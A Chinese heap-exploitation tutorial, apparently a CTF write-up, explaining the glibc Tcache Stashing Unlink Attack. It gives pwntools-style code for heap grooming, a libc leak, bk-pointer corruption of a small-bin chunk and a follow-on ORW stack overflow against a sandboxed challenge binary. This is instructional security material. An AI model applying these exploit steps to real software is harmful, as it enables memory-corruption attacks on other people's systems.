Tcache Stashing Unlink Attack 技术详解<\/h1>

1. 攻击概述<\/h2>
Tcache Stashing Unlink Attack 是一种针对 glibc 堆管理机制的利用技术，主要利用 small bin 和 tcache 之间的交互机制实现任意地址写入。虽然名称中包含 "Unlink"，但与传统的 unlink 攻击有很大不同，主要相似点在于都需要绕过链表检查。<\/p>

2. 攻击条件<\/h2>

要成功实施 Tcache Stashing Unlink Attack，需要满足以下条件：<\/p>

使用 calloc 分配内存<\/strong>：calloc 会绕过 tcache 直接从 small bin 分配<\/li>
tcache 非满但非空<\/strong>：tcache 中对应大小的链表有空位但不为空<\/li>
small bin 中有 chunk<\/strong>：至少有两个 chunk 在 small bin 中<\/li>

能够修改 small bin 中 chunk 的 bk 指针<\/strong><\/li> <\/ol>
3. 攻击原理<\/h2>
当从 small bin 分配 chunk 时，glibc 会检查：<\/p>

如果 small bin 中还有剩余 chunk<\/li>
且对应大小的 tcache 有空位（但 tcache 不为空）<\/li>
会将剩余 chunk 链入 tcache<\/li> <\/ul>
关键点在于链入 tcache 时没有进行严格的链表检查<\/strong>，攻击者可以通过修改 small bin 中 chunk 的 bk 指针，实现将任意地址链入 tcache 的效果。<\/p>
4. 攻击步骤详解<\/h2>
4.1 初始堆布局准备<\/h3>

填充 tcache<\/strong>：<\/p>
for<\/span> i in<\/span> range(7<\/span>): <\/span><\/span> add(0x300<\/span>) # 分配 0x300 大小的 chunk<\/span> <\/span><\/span> delete(i) # 释放到 tcache<\/span> <\/span><\/span><\/code><\/pre><\/li> 创建 small bin 环境<\/strong>：<\/p> for<\/span> i in<\/span> range(7<\/span>,13<\/span>): # 6个<\/span> <\/span><\/span> add(0xf0<\/span>) # 分配较小 chunk<\/span> <\/span><\/span> delete(i) # 释放<\/span> <\/span><\/span><\/code><\/pre><\/li> 创建 unsorted bin<\/strong>：<\/p> add(0x300<\/span>) # chunk 13<\/span> <\/span><\/span>add(0x300<\/span>) # chunk 14<\/span> <\/span><\/span>delete(13<\/span>) # 释放到 unsorted bin<\/span> <\/span><\/span><\/code><\/pre><\/li> <\/ol> 4.2 泄露 libc 地址<\/h3> show(13<\/span>) <\/span><\/span>libc_base =<\/span> u64(p.<\/span>recvuntil(b<\/span>'<\/span>\x7f<\/span>'<\/span>)[-<\/span>6<\/span>:].<\/span>ljust(8<\/span>,b<\/span>'<\/span>\x00<\/span>'<\/span>))-<\/span>0x10<\/span>-<\/span>96<\/span>-<\/span>libc.<\/span>sym['__malloc_hook'<\/span>] <\/span><\/span><\/code><\/pre>通过 unsorted bin 中的 fd 指针泄露 libc 地址。<\/p> 4.3 构造 small bin<\/h3> 分割 unsorted bin<\/strong>：<\/p> add(0x200<\/span>) # chunk 15，分割 unsorted bin<\/span> <\/span><\/span>add(0x300<\/span>) # chunk 16，使剩余部分进入 small bin<\/span> <\/span><\/span><\/code><\/pre><\/li> 获取堆地址<\/strong>：<\/p> ru('Ptr: '<\/span>) <\/span><\/span>addr =<\/span> int(rc(9<\/span>),16<\/span>)-<\/span>0x2a0<\/span>-<\/span>0x2190<\/span>-<\/span>0x11e0<\/span> # 计算堆基址<\/span> <\/span><\/span><\/code><\/pre><\/li> <\/ol> 4.4 实施攻击<\/h3> 修改 small bin chunk 的 bk 指针<\/strong>：<\/p> edit(16<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>*<\/span>0x208<\/span> +<\/span> p64(0x101<\/span>) +<\/span> p64(addr+<\/span>0x31f0<\/span>) +<\/span> p64(0x4040C0<\/span>-<\/span>0x4<\/span>-<\/span>0x10<\/span>)) <\/span><\/span><\/code><\/pre> 覆盖 bk 指针为目标地址（这里是 nbytes 的 bss 变量）<\/li> <\/ul> <\/li> 触发 stashing 机制<\/strong>：<\/p> add(0xf0<\/span>) # 分配触发 small bin 到 tcache 的转移<\/span> <\/span><\/span><\/code><\/pre> 这将导致目标地址被写入 main_arena 的地址<\/li> <\/ul> <\/li> <\/ol> 4.5 利用修改的 nbytes 进行 ORW<\/h3> sla(b<\/span>'Your choice:'<\/span>,b<\/span>'5'<\/span>) <\/span><\/span>sd(b<\/span>'a'<\/span>*<\/span>0x38<\/span> +<\/span> p64(rdi) +<\/span> p64(bss) +<\/span> p64(rsi) +<\/span> p64(0<\/span>) +<\/span> ...<\/span>) <\/span><\/span><\/code><\/pre> 利用被改大的 nbytes 进行栈溢出<\/li> 构造 ORW (Open-Read-Write) 链读取 flag<\/li> <\/ul> 5. 关键点解析<\/h2> calloc 的特殊性<\/strong>：<\/p> 绕过 tcache 直接从 small bin 分配<\/li> 这是触发 stashing 机制的关键<\/li> <\/ul> <\/li> small bin 到 tcache 的转移条件<\/strong>：<\/p> tcache 对应大小链表有空位但非空<\/li> small bin 中有多个 chunk<\/li> 使用 calloc 分配<\/li> <\/ul> <\/li> bk 指针修改<\/strong>：<\/p> 需要精确计算偏移<\/li> 目标地址需要满足一定条件（可写、对齐等）<\/li> <\/ul> <\/li> 沙箱绕过<\/strong>：<\/p> 题目开启了沙箱，需要使用 ORW 技术而非直接获取 shell<\/li> <\/ul> <\/li> <\/ol> 6. 防御措施<\/h2> 升级 glibc 版本（2.32+ 有更多检查）<\/li> 启用 Full RELRO 保护<\/li> 启用 PIE 保护<\/li> 使用堆栈保护机制<\/li> <\/ol> 7. 总结<\/h2> Tcache Stashing Unlink Attack 是一种利用 small bin 和 tcache 交互机制的漏洞利用技术，核心在于通过修改 small bin chunk 的 bk 指针，在 stashing 过程中实现任意地址写入。这种攻击在特定条件下非常有效，特别是在可以使用 calloc 且能控制 small bin chunk 的 bk 指针时。<\/p>